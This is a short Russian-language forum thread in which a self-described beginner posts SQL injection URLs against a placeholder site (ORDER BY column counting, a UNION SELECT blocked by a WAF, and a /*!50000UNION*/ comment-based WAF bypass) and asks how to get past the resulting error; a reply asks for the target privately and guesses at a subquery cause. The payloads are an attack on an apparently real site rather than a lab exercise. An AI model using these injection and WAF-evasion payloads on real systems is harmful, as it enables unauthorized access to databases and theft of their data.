PDA

Просмотр полной версии : SQLi нужна помощь


ClayFox
26.03.2017, 04:41
Всем привет, нужна ваша помощь как так я только учу SQLi, наткнулся с такой проблемой и не знаю как обойти ))

http://site.com/index.php?lang=en' order by 4 --+ -> Unknown column '4' in 'order clause'

http://site.com/index.php?lang=en' order by 3 --+ -> OK

---

http://site.com/index.php?lang=-en' union select 1,2,3 --+ -> WAF

http://site.com/index.php?lang=-en' /*!50000UNION*/ SELECT 1,2,3--+ ->

.SpoilerTarget" type="button">Spoiler: screen
http://i.imgur.com/qBClrLr.png

первый раз вижу такую ошибку, если можете помогите пожалуйста

SooLFaa
05.04.2017, 03:56
Таргет в лс. Ошибка говорит о неизвестном столбце. Подозреваю что в левой таблице подзапрос, который зависит от результата правого.